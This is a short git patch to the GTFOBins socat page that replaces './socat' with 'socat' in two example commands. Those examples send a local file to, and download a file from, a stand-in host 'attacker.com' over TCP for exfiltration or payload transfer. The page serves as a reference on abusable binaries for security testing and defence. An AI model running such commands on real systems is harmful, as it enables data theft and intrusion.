From c82955d93c63aa8d15e2ef4173f8c8db1ecf9e64 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 25 Apr 2020 19:36:06 +0200 Subject: [PATCH] Fix socat invocation --- _gtfobins/socat.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index 9325f13..d8a8bfb 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -29,12 +29,12 @@ functions: RHOST=attacker.com RPORT=12345 LFILE=file_to_send - ./socat -u file:$LFILE tcp-connect:$RHOST:$RPORT + socat -u file:$LFILE tcp-connect:$RHOST:$RPORT file-download: - description: Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file. code: | RHOST=attacker.com RPORT=12345 LFILE=file_to_save - ./socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat + socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat ---